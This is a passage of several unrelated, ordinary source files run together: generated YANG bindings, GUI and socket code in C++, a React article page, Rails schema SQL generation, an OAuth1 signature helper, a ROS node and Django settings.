os.path.basename(args.model_file)) from zero.ner.main import cli as ner_cli cli.add_command(ner_cli) if __name__ == "__main__": cli()
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import vlan class access(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-interface - based on the path /interface/hundredgigabitethernet/switchport/access-mac-group-rspan-vlan-classification/access. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: The access layer characteristics of this interface. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__vlan',) _yang_name = 'access' _rest_name = 'access' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__vlan = YANGDynClass(base=YANGListType("access_vlan_id access_mac_group",vlan.vlan, yang_name="vlan", rest_name="rspan-vlan", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name="vlan", rest_name="rspan-vlan", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'interface', u'hundredgigabitethernet', u'switchport', u'access-mac-group-rspan-vlan-classification', u'access'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'interface', u'HundredGigabitEthernet', u'switchport', u'access'] def _get_vlan(self): """ Getter method for vlan, mapped from YANG variable /interface/hundredgigabitethernet/switchport/access_mac_group_rspan_vlan_classification/access/vlan (list) """ return self.__vlan def _set_vlan(self, v, load=False): """ Setter method for vlan, mapped from YANG variable /interface/hundredgigabitethernet/switchport/access_mac_group_rspan_vlan_classification/access/vlan (list) If this variable is read-only (config: false) in the source YANG file, then _set_vlan is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vlan() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("access_vlan_id access_mac_group",vlan.vlan, yang_name="vlan", rest_name="rspan-vlan", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name="vlan", rest_name="rspan-vlan", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """vlan must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("access_vlan_id access_mac_group",vlan.vlan, yang_name="vlan", rest_name="rspan-vlan", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name="vlan", rest_name="rspan-vlan", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True)""", }) self.__vlan = t if hasattr(self, '_set'): self._set() def _unset_vlan(self): self.__vlan = YANGDynClass(base=YANGListType("access_vlan_id access_mac_group",vlan.vlan, yang_name="vlan", rest_name="rspan-vlan", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='access-vlan-id access-mac-group', extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}), is_container='list', yang_name="vlan", rest_name="rspan-vlan", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'rspan-mac-group-vlan-classification-config-phy', u'cli-suppress-list-no': None, u'cli-no-key-completion': None, u'cli-suppress-mode': None, u'alt-name': u'rspan-vlan'}}, namespace='urn:brocade.com:mgmt:brocade-interface', defining_module='brocade-interface', yang_type='list', is_config=True) vlan = __builtin__.property(_get_vlan, _set_vlan) _pyangbind_elements = {'vlan': vlan, }
/* The smooth Class Library * Copyright (C) 1998-2014 Robert Kausch <robert.kausch@gmx.net> * * This library is free software; you can redistribute it and/or * modify it under the terms of "The Artistic License, Version 2.0". * * THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #include <smooth/gui/widgets/basic/groupbox.h> #include <smooth/misc/math.h> #include <smooth/graphics/surface.h> const S::Short S::GUI::GroupBox::classID = S::Object::RequestClassID(); S::GUI::GroupBox::GroupBox(const String &iText, const Point &iPos, const Size &iSize) : Layer(iText) { type = classID; orientation = OR_UPPERLEFT; SetMetrics(iPos, iSize); if (GetWidth() == 0) SetWidth(80); if (GetHeight() == 0) SetHeight(80); ComputeTextSize(); } S::GUI::GroupBox::~GroupBox() { } S::Int S::GUI::GroupBox::Paint(Int message) { if (!IsRegistered()) return Error(); if (!IsVisible()) return Success(); switch (message) { case SP_PAINT: { Surface *surface = GetDrawSurface(); Rect frame = Rect(GetRealPosition(), GetRealSize()); surface->Frame(frame, FRAME_DOWN); surface->Frame(frame + Point(1, 1) - Size(2, 2), FRAME_UP); Rect textRect = Rect(GetRealPosition() + Point(10 * surface->GetSurfaceDPI() / 96.0, -Math::Ceil(Float(scaledTextSize.cy) / 2)), Size(scaledTextSize.cx, Math::Round(scaledTextSize.cy * 1.2)) + Size(3, 0) * surface->GetSurfaceDPI() / 96.0); surface->Box(textRect, Setup::BackgroundColor, Rect::Filled); Font nFont = font; if (!IsActive()) nFont.SetColor(Setup::InactiveTextColor); surface->SetText(text, textRect + Point(1, 0) * surface->GetSurfaceDPI() / 96.0, nFont); } break; } return Layer::Paint(message); } S::Int S::GUI::GroupBox::Activate() { if (active) return Success(); active = True; Paint(SP_PAINT); onActivate.Emit(); return Success(); } S::Int S::GUI::GroupBox::Deactivate() { if (!active) return Success(); active = False; Paint(SP_PAINT); onDeactivate.Emit(); return Success(); } S::Int S::GUI::GroupBox::Show() { Int retVal = Layer::Show(); Paint(SP_PAINT); return retVal; } S::Int S::GUI::GroupBox::Hide() { if (IsRegistered() && IsVisible()) { Surface *surface = GetDrawSurface(); surface->Box(Rect(GetRealPosition() - Point(0, 6) * surface->GetSurfaceDPI() / 96.0, GetRealSize() + Size(0, 6) * surface->GetSurfaceDPI() / 96.0), Setup::BackgroundColor, Rect::Filled); } return Layer::Hide(); }
// // Copyright Aliaksei Levin (levlam@telegram.org), Arseny Smirnov (arseny30@gmail.com) 2014-2018 // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #include "td/utils/port/SocketFd.h" #include "td/utils/logging.h" #if TD_PORT_WINDOWS #include "td/utils/misc.h" #endif #if TD_PORT_POSIX #include <arpa/inet.h> #include <fcntl.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #endif namespace td { Result<SocketFd> SocketFd::open(const IPAddress &address) { SocketFd socket; TRY_STATUS(socket.init(address)); return std::move(socket); } #if TD_PORT_POSIX Result<SocketFd> SocketFd::from_native_fd(int fd) { auto fd_guard = ScopeExit() + [fd]() { ::close(fd); }; TRY_STATUS(detail::set_native_socket_is_blocking(fd, false)); // TODO remove copypaste int flags = 1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char *>(&flags), sizeof(flags)); setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, reinterpret_cast<const char *>(&flags), sizeof(flags)); setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, reinterpret_cast<const char *>(&flags), sizeof(flags)); // TODO: SO_REUSEADDR, SO_KEEPALIVE, TCP_NODELAY, SO_SNDBUF, SO_RCVBUF, TCP_QUICKACK, SO_LINGER fd_guard.dismiss(); SocketFd socket; socket.fd_ = Fd(fd, Fd::Mode::Owner); return std::move(socket); } #endif Status SocketFd::init(const IPAddress &address) { auto fd = socket(address.get_address_family(), SOCK_STREAM, 0); #if TD_PORT_POSIX if (fd == -1) { #elif TD_PORT_WINDOWS if (fd == INVALID_SOCKET) { #endif return OS_SOCKET_ERROR("Failed to create a socket"); } auto fd_quard = ScopeExit() + [fd]() { #if TD_PORT_POSIX ::close(fd); #elif TD_PORT_WINDOWS ::closesocket(fd); #endif }; TRY_STATUS(detail::set_native_socket_is_blocking(fd, false)); #if TD_PORT_POSIX int flags = 1; #elif TD_PORT_WINDOWS BOOL flags = TRUE; #endif setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char *>(&flags), sizeof(flags)); setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, reinterpret_cast<const char *>(&flags), sizeof(flags)); setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, reinterpret_cast<const char *>(&flags), sizeof(flags)); // TODO: SO_REUSEADDR, SO_KEEPALIVE, TCP_NODELAY, SO_SNDBUF, SO_RCVBUF, TCP_QUICKACK, SO_LINGER #if TD_PORT_POSIX int e_connect = connect(fd, address.get_sockaddr(), static_cast<socklen_t>(address.get_sockaddr_len())); if (e_connect == -1) { auto connect_errno = errno; if (connect_errno != EINPROGRESS) { return Status::PosixError(connect_errno, PSLICE() << "Failed to connect to " << address); } } fd_ = Fd(fd, Fd::Mode::Owner); #elif TD_PORT_WINDOWS auto bind_addr = address.get_any_addr(); auto e_bind = bind(fd, bind_addr.get_sockaddr(), narrow_cast<int>(bind_addr.get_sockaddr_len())); if (e_bind != 0) { return OS_SOCKET_ERROR("Failed to bind a socket"); } fd_ = Fd::create_socket_fd(fd); fd_.connect(address); #endif fd_quard.dismiss(); return Status::OK(); } const Fd &SocketFd::get_fd() const { return fd_; } Fd &SocketFd::get_fd() { return fd_; } void SocketFd::close() { fd_.close(); } bool SocketFd::empty() const { return fd_.empty(); } int32 SocketFd::get_flags() const { return fd_.get_flags(); } Status SocketFd::get_pending_error() { return fd_.get_pending_error(); } Result<size_t> SocketFd::write(Slice slice) { return fd_.write(slice); } Result<size_t> SocketFd::read(MutableSlice slice) { return fd_.read(slice); } } // namespace td
import { BAKED_BASE_URL, WORDPRESS_URL } from 'settings' import * as React from 'react' import { Head } from './Head' import { CitationMeta } from './CitationMeta' import { SiteHeader } from './SiteHeader' import { SiteFooter } from './SiteFooter' import { formatAuthors, FormattedPost, FormattingOptions } from '../formatting' import { CategoryWithEntries } from 'db/wpdb' import * as _ from 'lodash' import { SiteSubnavigation } from './SiteSubnavigation' export const LongFormPage = (props: { entries: CategoryWithEntries[], post: FormattedPost, formattingOptions: FormattingOptions }) => { const {entries, post, formattingOptions} = props const authorsText = formatAuthors(post.authors, true) const pageTitle = post.title const canonicalUrl = `${BAKED_BASE_URL}/${post.slug}` const pageDesc = post.excerpt const publishedYear = post.modifiedDate.getFullYear() const allEntries = _.flatten(_.values(entries).map(c => c.entries)) const isEntry = _.includes(allEntries.map(e => e.slug), post.slug) const classes = ["LongFormPage"] if (formattingOptions.bodyClassName) classes.push(formattingOptions.bodyClassName) const bibtex = `@article{owid${post.slug.replace(/-/g, '')}, author = {${authorsText}}, title = {${pageTitle}}, journal = {Our World in Data}, year = {${publishedYear}}, note = {${canonicalUrl}} }` return <html> <Head pageTitle={pageTitle} pageDesc={pageDesc} canonicalUrl={canonicalUrl} imageUrl={post.imageUrl}> {isEntry && <CitationMeta id={post.id} title={pageTitle} authors={post.authors} date={post.date} canonicalUrl={canonicalUrl}/>} </Head> <body className={classes.join(" ")}> <SiteHeader/> {formattingOptions.subnavId && <SiteSubnavigation subnavId={formattingOptions.subnavId} subnavCurrentId={formattingOptions.subnavCurrentId} />} <main> <article className="page"> <header className="articleHeader"> <h1 className="entry-title">{post.title}</h1> {!formattingOptions.hideAuthors && <div className="authors-byline"> <a href="/team">by {authorsText}</a> </div>} </header> <div className="contentContainer"> {post.tocHeadings.length > 0 && <aside className="entry-sidebar"> <nav className="entry-toc"> <ul> <li><a href="#">{pageTitle}</a></li> {post.tocHeadings.map((heading, i) => <li key={i} className={heading.isSubheading ? "subsection" : "section" + ((!post.tocHeadings[i+1] || !post.tocHeadings[i+1].isSubheading) ? " nosubs": "")}> <a href={`#${heading.slug}`}>{heading.text}</a> </li> )} {post.acknowledgements && <li key="acknowledgements" className="section nosubs"> <a href={`#acknowledgements`}>Acknowledgements</a> </li>} {post.footnotes.length ? <li key="references" className="section nosubs"> <a href={`#references`}>References</a> </li> : undefined} {isEntry && <li key="citation" className="section nosubs"> <a href={`#citation`}>Citation</a> </li>} </ul> </nav> </aside>} <div className="contentAndFootnotes"> <div className="article-content" dangerouslySetInnerHTML={{__html: post.html}}/> <footer className="article-footer"> {post.acknowledgements && <React.Fragment> <h3 id="acknowledgements">Acknowledgements</h3> <section dangerouslySetInnerHTML={{__html: post.acknowledgements}}/> </React.Fragment>} {post.footnotes.length ? <React.Fragment> <h3 id="references">References</h3> <ol className="references"> {post.footnotes.map((footnote, i) => <li key={i} id={`note-${i+1}`}> <p dangerouslySetInnerHTML={{__html: footnote}}/> </li> )} </ol> </React.Fragment> : undefined} {isEntry && <React.Fragment> <h3 id="citation">Citation</h3> <p> Our articles and data visualizations rely on work from many different people and organizations. When citing this entry, please also cite the underlying data sources. This entry can be cited as: </p> <pre className="citation"> {authorsText} ({publishedYear}) - "{pageTitle}". <em>Published online at OurWorldInData.org.</em> Retrieved from: '{canonicalUrl}' [Online Resource] </pre> <p> BibTeX citation </p> <pre className="citation"> {bibtex} </pre> </React.Fragment>} </footer> </div> </div> </article> </main> <div id="wpadminbar" style={{display: 'none'}}> <div className="quicklinks" id="wp-toolbar" role="navigation" aria-label="Toolbar"> <ul id="wp-admin-bar-root-default" className="ab-top-menu"> <li id="wp-admin-bar-site-name" className="menupop"> <a className="ab-item" aria-haspopup="true" href="/wp-admin/">Wordpress</a> </li>{" "} <li id="wp-admin-bar-edit"><a className="ab-item" href={`${WORDPRESS_URL}/wp-admin/post.php?post=${post.id}&action=edit`}>Edit Page</a></li> </ul> </div> </div> <SiteFooter hideDonate={formattingOptions.hideDonateFooter} /> </body> </html> }
require 'active_support/core_ext/string/strip' module ActiveRecord module ConnectionAdapters class AbstractAdapter class SchemaCreation # :nodoc: def initialize(conn) @conn = conn @cache = {} end def accept(o) m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}" send m, o end def visit_AddColumn(o) "ADD #{accept(o)}" end private def visit_AlterTable(o) sql = "ALTER TABLE #{quote_table_name(o.name)} " sql << o.adds.map { |col| visit_AddColumn col }.join(' ') sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(' ') sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(' ') end def visit_ColumnDefinition(o) sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale) column_sql = "#{quote_column_name(o.name)} #{sql_type}" add_column_options!(column_sql, column_options(o)) unless o.primary_key? column_sql end def visit_TableDefinition(o) create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE " create_sql << "#{quote_table_name(o.name)} " create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as create_sql << "#{o.options}" create_sql << " AS #{@conn.to_sql(o.as)}" if o.as create_sql end def visit_AddForeignKey(o) sql = <<-SQL.strip_heredoc ADD CONSTRAINT #{quote_column_name(o.name)} FOREIGN KEY (#{quote_column_name(o.column)}) REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)}) SQL sql << " #{action_sql('DELETE', o.on_delete)}" if o.on_delete sql << " #{action_sql('UPDATE', o.on_update)}" if o.on_update sql end def visit_DropForeignKey(name) "DROP CONSTRAINT #{quote_column_name(name)}" end def column_options(o) column_options = {} column_options[:null] = o.null unless o.null.nil? column_options[:default] = o.default unless o.default.nil? column_options[:column] = o column_options[:first] = o.first column_options[:after] = o.after column_options end def quote_column_name(name) @conn.quote_column_name name end def quote_table_name(name) @conn.quote_table_name name end def type_to_sql(type, limit, precision, scale) @conn.type_to_sql type.to_sym, limit, precision, scale end def add_column_options!(sql, options) sql << " DEFAULT #{quote_value(options[:default], options[:column])}" if options_include_default?(options) # must explicitly check for :null to allow change_column to work on migrations if options[:null] == false sql << " NOT NULL" end if options[:auto_increment] == true sql << " AUTO_INCREMENT" end sql end def quote_value(value, column) column.sql_type ||= type_to_sql(column.type, column.limit, column.precision, column.scale) column.cast_type ||= type_for_column(column) @conn.quote(value, column) end def options_include_default?(options) options.include?(:default) && !(options[:null] == false && options[:default].nil?) end def action_sql(action, dependency) case dependency when :nullify then "ON #{action} SET NULL" when :cascade then "ON #{action} CASCADE" when :restrict then "ON #{action} RESTRICT" else raise ArgumentError, <<-MSG.strip_heredoc '#{dependency}' is not supported for :on_update or :on_delete. Supported values are: :nullify, :cascade, :restrict MSG end end def type_for_column(column) @conn.lookup_cast_type(column.sql_type) end end end end end
"""OAuth1 module written according to http://oauth.net/core/1.0/#signing_process""" import base64 import hmac import requests # requests must be loaded so that urllib receives the parse module import time import urllib from hashlib import sha1 from six import b from uuid import uuid4 use_parse_quote = not hasattr(urllib, 'quote') if use_parse_quote: _quote_func = urllib.parse.quote else: _quote_func = urllib.quote def _quote(obj): return _quote_func(str(obj), safe='') def normalize_query_parameters(params): """9.1.1. Normalize Request Parameters""" return '&'.join(map(lambda pair: '='.join([_quote(pair[0]), _quote(pair[1])]), sorted(params.items()))) def concatenate_request_elements(method, url, query): """9.1.3. Concatenate Request Elements""" return '&'.join(map(_quote, [str(method).upper(), url, query])) def hmac_sha1(base_string, hmac_key): """9.2. HMAC-SHA1""" hash = hmac.new(b(hmac_key), b(base_string), sha1) return hash.digest() def encode(digest): """9.2.1. Generating Signature""" return base64.b64encode(digest).decode('ascii').rstrip('\n') def add_oauth_entries_to_fields_dict(secret, params, nonce=None, timestamp=None): """ Adds dict entries to the user's params dict which are required for OAuth1.0 signature generation :param secret: API secret :param params: dictionary of values which will be sent in the query :param nonce: (Optional) random string used in signature creation, uuid4() is used if not provided :param timestamp: (Optional) integer-format timestamp, time.time() is used if not provided :return: dict containing params and the OAuth1.0 fields required before executing signature.create :type secret: str :type params: dict :type nonce: str :type timestamp: int :Example: >>> from emailage.signature import add_oauth_entries_to_fields_dict >>> query_params = dict(user_email='registered.account.user@yourcompany.com',\ query='email.you.are.interested.in@gmail.com'\ ) >>> query_params = add_oauth_entries_to_fields_dict('YOUR_API_SECRET', query_params) >>> query_params['oauth_consumer_key'] 'YOUR_API_SECRET' >>> query_params['oauth_signature_method'] 'HMAC-SHA1' >>> query_params['oauth_version'] 1.0 """ if nonce is None: nonce = uuid4() if timestamp is None: timestamp = int(time.time()) params['oauth_consumer_key'] = secret params['oauth_nonce'] = nonce params['oauth_signature_method'] = 'HMAC-SHA1' params['oauth_timestamp'] = timestamp params['oauth_version'] = 1.0 return params def create(method, url, params, hmac_key): """ Generates the OAuth1.0 signature used as the value for the query string parameter 'oauth_signature' :param method: HTTP method that will be used to send the request ( 'GET' | 'POST' ); EmailageClient uses GET :param url: API domain and endpoint up to the ? :param params: user-provided query string parameters and the OAuth1.0 parameters :method add_oauth_entries_to_fields_dict: :param hmac_key: for Emailage users, this is your consumer token with an '&' (ampersand) appended to the end :return: str value used for oauth_signature :type method: str :type url: str :type params: dict :type hmac_key: str :Example: >>> from emailage.signature import add_oauth_entries_to_fields_dict, create >>> your_api_key = 'SOME_KEY' >>> your_hmac_key = 'SOME_SECRET' + '&' >>> api_url = 'https://sandbox.emailage.com/emailagevalidator/' >>> query_params = { 'query': 'user.you.are.validating@gmail.com', 'user_email': 'admin@yourcompany.com' } >>> query_params = add_oauth_entries_to_fields_dict(your_api_key, query_params) >>> query_params['oauth_signature'] = create('GET', api_url, query_params, your_hmac_key) """ query = normalize_query_parameters(params) base_string = concatenate_request_elements(method, url, query) digest = hmac_sha1(base_string, hmac_key) return encode(digest)
// -*- C++ -*- /** * @file region_maker.cpp * @brief A ROS node to make correct region for obstacle measurment * * @author Yasushi SUMI <y.sumi@aist.go.jp> * * Copyright (C) 2021 AIST * Released under the MIT license * https://opensource.org/licenses/mit-license.php */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <ros/ros.h> #include <UFV/types.h> #include "region_maker.h" /*! * @brief main function */ int main(int argc, char** argv) { ros::init (argc, argv, "region_maker"); emulated_srs::RegionMaker region_maker; ros::spin(); return 0; } emulated_srs::RegionMaker::RegionMaker(void) : emulated_srs::ObstacleDetector(), param_fname_to_save_("Reg.png"), param_path_to_save_("./") { node_handle_.getParam("filename_region", param_fname_to_save_); node_handle_.getParam("path_to_save", param_path_to_save_); ROS_INFO("filename_region: %s", param_fname_to_save_.c_str()); ROS_INFO("path_to_save: %s", param_path_to_save_.c_str()); } void emulated_srs::RegionMaker::initializeMap( const int width, const int height, const int point_step) { this->emulated_srs::ObstacleDetector::initializeMap(width,height,point_step); map_for_detection_.setDrawLabel(true); return; } int emulated_srs::RegionMaker::save(void) noexcept { int width = map_for_showing_depth_data_.width(); int height = map_for_showing_depth_data_.height(); UFV::ImageData<unsigned char> regimg(width, height, 1); unsigned char *rimg = regimg.data(); unsigned char *dimg = map_for_showing_depth_data_.data(); for(int i=0; i<width*height; i++) { if(*(dimg+2) > 0 && *dimg == 0) // R is positive, and B is zero { *rimg = 255; } rimg ++; dimg += 3; } regimg.setWriteImage(true, param_path_to_save_); regimg.writeImage(param_fname_to_save_); ROS_INFO("Saved: %s", (param_path_to_save_ + param_fname_to_save_).c_str()); return(UFV::OK); } void emulated_srs::RegionMaker::displayAll(void) { // Copy the depth image with rtection results for display map_for_detection_.normalize(map_for_showing_depth_data_); if(has_rgb_data_) { // Copy the current RGB image. map_for_showing_rgb_data_ = *(map_for_rgb_display_.getImageData<unsigned char>()); } // Overwrite the depth image with the obstacle reasons. //map_for_detection_.drawObstacleRegionWithLabel(map_for_showing_depth_data_); map_for_detection_.setDrawLabel(false); map_for_detection_.drawObstacleRegion(map_for_showing_depth_data_); UFV::KeyDef dret1, dret2, dret3; // Display the images. if(has_rgb_data_) { dret1 = map_for_showing_rgb_data_.display("RGB", -1); } map_for_detection_.setDrawLabel(true); dret2 = map_for_detection_.display("Detection",-1); dret3 = map_for_showing_depth_data_.display("Depth", 10); //std::cout << dret1 << ", " << dret2 << ", " << dret3 << std::endl; if(dret1 == UFV::KEY_SAVE || dret2 == UFV::KEY_SAVE || dret3 == UFV::KEY_SAVE) { this->save(); } return; }
""" Django settings for backend project. Generated by 'django-admin startproject' using Django 3.1.3. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path from datetime import timedelta import os # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '2(iwreobf4b(-=h_p=^!obgxdgn3_*s!17=_3wc4dun9_y^q+c' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'backend.core', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'backend.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'backend.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] LOGIN_URL = "/api/v1/signin" SIMPLE_JWT = { "ACCESS_TOKEN_LIFETIME": timedelta(minutes=60), "REFRESH_TOKEN_LIFETIME": timedelta(days=2), } CORS_ORIGIN_WHITELIST = ["http://localhost:3000", "http://127.0.0.1:3000"] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static/") REST_FRAMEWORK = { "DEFAULT_AUTHENTICATION_CLASSES": ["rest_framework_simplejwt.authentication.JWTAuthentication"], "DEFAULT_RENDERER_CLASSES": ["rest_framework.renderers.JSONRenderer"], "TEST_REQUEST_DEFAULT_FORMAT": "json", "DEFAULT_PERMISSION_CLASSES": ("rest_framework.permissions.DjangoModelPermissions",), }
""" Django settings for hiren project. Generated by 'django-admin startproject' using Django 1.8.4. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os import json from celery.schedules import crontab BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # load json file baby :D try: with open('config.json') as f: JSON_DATA = json.load(f) except FileNotFoundError: with open('config.sample.json') as f: JSON_DATA = json.load(f) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ.get('SECRET_KEY', JSON_DATA['secret_key']) # SECURITY WARNING: don't run with debug turned on in production! DEBUG = os.environ.get('DEBUG', False) ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'debug_toolbar', 'github' ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 